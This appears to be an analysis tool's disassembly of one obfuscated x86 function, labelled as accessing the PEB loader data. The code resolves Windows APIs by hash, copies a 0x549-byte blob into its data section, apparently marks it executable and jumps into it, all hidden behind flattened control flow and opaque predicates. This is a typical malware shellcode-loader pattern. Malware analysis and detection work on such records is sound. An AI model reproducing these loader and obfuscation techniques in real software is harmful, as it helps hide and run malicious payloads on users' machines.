Function at 0x452630
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [0x44a534]
lea ebx, [ebp - 0x1e]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov word [eax + 0xc], 0xfc15
mov dword [eax + 8], 0x10405ff
mov dword [eax + 4], 0x751fcccc
mov dword [eax], 0xabeb5419
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x44b008], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push 0x9385646d
push dword [0x44b008]
call fcn.0044fda0
add esp, 8
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x40]
call edx
push 0x2d
push 0x449549
push 0x549
push section..data
call fcn.004508f0
add esp, 0x10
push 0xe
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004508f0
add esp, 0x10
mov eax, 0x90a06cbf
mov edi, 0xb89628e6
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [0x44b088]
mov ecx, dword [0x44b08c]
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
and edx, 1
not eax
mov esi, eax
and esi, 0xfffffffe
or edx, esi
mov esi, 0x7a512702
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg ah
cmp ecx, 0xa
setl cl
and ah, al
mov ch, cl
xor ch, dl
and ch, cl
and cl, dl
mov edx, 0x1437c12f
or cl, ah
mov al, ch
xor al, cl
cmovne edx, esi
test cl, cl
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
nop dword [eax]
cmp eax, 0x14c96629
jg 0x4527a0
cmp eax, 0xb89628e5
jg 0x452850
cmp eax, 0x90a06cbe
jle 0x452925
cmp eax, 0x90a06cbf
je 0x4529d2
cmp eax, 0xa4869584
je 0x452b0f
cmp eax, 0xafeb127c
jne 0x452750
mov eax, 0x2eab34c6
mov ebx, 0x8aafdc01
cmp eax, 0x14c96629
jle 0x452757
nop dword [eax + eax]
cmp eax, 0x4d595438
jle 0x452890
cmp eax, 0x6bb05281
jle 0x452950
cmp eax, 0x6bb05282
je 0x452b8e
cmp eax, 0x73a2c368
je 0x452bc3
cmp eax, 0x7a512702
jne 0x452750
mov eax, dword [0x44b088]
mov esi, 0xafeb127c
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
and ecx, 0xd746999f
not eax
mov edx, eax
and eax, 0xfffffffe
and edx, 0x28b96660
or edx, ecx
mov ecx, dword [0x44b08c]
xor edx, 0x28b96661
or eax, edx
cmp eax, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl ah
cmp ecx, 9
setg cl
and ah, dl
and al, cl
or cl, dl
or ah, al
mov edx, ecx
xor dl, ah
test ah, ah
mov eax, 0x1437c12f
cmovne eax, esi
test cl, cl
mov ecx, 0x1437c12f
cmovne eax, ecx
test dl, dl
jmp 0x452dba
cmp eax, 0xd75f0df7
jle 0x45297b
cmp eax, 0xe3b0c1c1
je 0x452be9
cmp eax, 0x1437c12f
je 0x452bfe
cmp eax, 0xd75f0df8
jne 0x452750
jmp 0x452def
cmp eax, 0x3fa70234
jg 0x452996
cmp eax, 0x14c9662a
je 0x452c13
cmp eax, 0x2eab34c6
jne 0x452750
mov eax, dword [0x44b088]
mov esi, 0x878cfd50
mov dword [ebp - 0x28], ebx
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
and ecx, 1
not eax
mov edx, eax
and edx, 0xfffffffe
or ecx, edx
not ecx
or ecx, eax
mov eax, dword [0x44b08c]
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl ch
cmp eax, 9
setg dh
and ch, dl
and cl, dh
or dh, dl
or ch, cl
mov al, dh
xor al, ch
mov eax, 0x3fa70235
cmovne esi, eax
test ch, ch
mov ecx, 0x878cfd50
mov eax, esi
cmovne eax, ecx
test dh, dh
cmovne eax, esi
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
cmp eax, 0x878cfd50
je 0x452c7b
cmp eax, 0x8a5f7d48
jne 0x452750
mov eax, 0x73a2c368
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
cmp eax, 0x4d595439
je 0x452d05
cmp eax, 0x50e82654
jne 0x452750
mov eax, 0x878cfd50
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
cmp eax, 0xb89628e6
je 0x452d53
cmp eax, 0xc24b2676
jne 0x452750
jmp 0x4526ef
cmp eax, 0x3fa70235
je 0x452d68
cmp eax, 0x4bf7c2c2
jne 0x452750
push dword [ebp - 0x28]
push dword [0x44b008]
call fcn.0044fda0
add esp, 8
mov eax, 0xa4869584
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [0x44b078]
mov ecx, dword [0x44b07c]
mov esi, 0xac9909f2
mov dword [ebp - 0x24], 1
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
xor edx, 1
not eax
and eax, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl ah
cmp ecx, 9
setg cl
and ah, dl
and al, cl
or cl, dl
mov edx, 0xc532c40f
xor cl, 1
or ah, al
mov al, cl
and al, ah
xor ah, cl
mov ecx, 0xc6863ba3
or ah, al
mov eax, 0x8159ac56
cmovne eax, ecx
mov ecx, 0x8159ac56
cmovne ecx, edx
nop dword [eax]
cmp esi, 0xc6863ba2
jle 0x452a70
cmp esi, 0x22f266f4
jg 0x452aa0
cmp esi, 0xc6863ba3
je 0x452ac5
cmp esi, 0xfbed4ddb
jne 0x452a40
mov esi, ecx
cmp esi, 0xc6863ba2
jg 0x452a48
nop word [eax + eax]
cmp esi, 0x8159ac56
je 0x452ada
cmp esi, 0xac9909f2
je 0x452aed
cmp esi, 0xc532c40f
jne 0x452a40
mov esi, eax
cmp esi, 0xc6863ba2
jg 0x452a48
jmp 0x452a70
cmp esi, 0x22f266f5
je 0x452dcd
cmp esi, 0x79c88887
jne 0x452a40
mov esi, 0x22f266f5
xor edx, edx
cmp esi, 0xc6863ba2
jg 0x452a48
jmp 0x452a70
mov esi, 0x22f266f5
mov dl, 1
cmp esi, 0xc6863ba2
jg 0x452a48
jmp 0x452a70
mov esi, 0xc532c40f
cmp esi, 0xc6863ba2
jg 0x452a48
jmp 0x452a70
cmp dword [ebp - 0x24], 0
mov esi, 0x79c88887
mov ebx, 0xfbed4ddb
cmove esi, ebx
cmp esi, 0xc6863ba2
jg 0x452a48
jmp 0x452a70
push dword [ebp - 0x28]
push dword [0x44b008]
call fcn.0044fda0
add esp, 8
mov eax, dword [0x44b088]
mov ecx, dword [0x44b08c]
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
and edx, 0x8582c7f9
not eax
mov esi, eax
and esi, 0x7a7d3806
or edx, esi
xor edx, 0x8582c7f8
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 9
setg ah
cmp ecx, 0xa
mov ch, dl
setl cl
xor ah, al
xor ch, cl
or cl, dl
mov edx, 0x50e82654
xor cl, 1
or cl, ah
mov eax, ecx
xor al, ch
mov eax, 0x4bf7c2c2
cmovne edx, eax
test cl, cl
mov eax, 0x50e82654
cmovne eax, edx
jmp 0x452748
mov eax, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, section..data
mov esi, dword [ebp - 0x24]
push esi
mov edx, eax
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
call edx
mov eax, 0xd75f0df8
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x3c]
push ecx
push 0x40
push 0x549
push section..data
call eax
test eax, eax
mov eax, 0x6bb05282
mov ecx, 0xd75f0df8
jmp 0x452cf2
mov eax, 0x8a5f7d48
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, 0x7a512702
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [0x44b088]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
and ecx, 0xe39af64c
not eax
mov edx, eax
and edx, 0x1c6509b3
or ecx, edx
xor ecx, 0xe39af64d
xor eax, ecx
test eax, ecx
mov eax, dword [0x44b08c]
sete cl
setne dl
cmp eax, 9
setg ch
cmp eax, 0xa
setl al
and cl, ch
and al, dl
or cl, al
mov al, ch
xor ch, dl
and al, dl
or ch, al
mov eax, 0x4d595439
mov dl, ch
xor dl, cl
test ch, ch
cmovne eax, edi
test cl, cl
mov ecx, 0x4d595439
cmove eax, edi
jmp 0x452cf0
push dword [ebp - 0x28]
push dword [0x44b008]
call fcn.0044fda0
add esp, 8
mov dword [ebp - 0x2c], eax
mov eax, dword [0x44b088]
mov ecx, dword [0x44b08c]
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
and edx, 1
not eax
mov esi, eax
and esi, 0xfffffffe
or edx, esi
mov esi, 0x3fa70235
xor eax, edx
test eax, edx
setne dl
sete al
cmp ecx, 0xa
setl ah
cmp ecx, 9
setg cl
and dl, ah
and cl, al
or dl, cl
mov cl, ah
or ah, al
xor cl, al
xor ah, 1
or ah, cl
mov ecx, 0xe3b0c1c1
mov al, ah
xor al, dl
cmovne ecx, esi
test ah, ah
mov eax, 0xe3b0c1c1
cmovne eax, ecx
test dl, dl
cmove eax, ecx
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [0x44b088]
mov ecx, dword [0x44b08c]
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
and edx, 1
not eax
mov esi, eax
and esi, 0xfffffffe
or edx, esi
mov esi, 0xa4869584
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg ah
cmp ecx, 0xa
setl cl
and ah, al
mov ch, cl
xor ch, dl
and ch, cl
and cl, dl
mov edx, 0x4bf7c2c2
jmp 0x452738
mov eax, 0x14c9662a
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [0x44b088]
mov esi, 0x14c9662a
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
and ecx, 1
not eax
mov edx, eax
and edx, 0xfffffffe
or ecx, edx
xor eax, ecx
test eax, ecx
mov eax, dword [0x44b08c]
sete cl
setne dl
cmp eax, 0xa
setl ch
cmp eax, 9
mov eax, 0xb89628e6
setg dh
xor ch, cl
or dh, dl
mov cl, dh
xor cl, ch
test ch, ch
cmovne eax, esi
test dh, dh
cmovne eax, edi
test cl, cl
cmove eax, esi
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
test dl, 1
mov eax, 0xc24b2676
mov ecx, 0x2eab34c6
cmovne eax, ecx
xor ebx, ebx
cmp eax, 0x14c96629
jle 0x452757
jmp 0x4527a0
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00430cb1
xor eax, eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret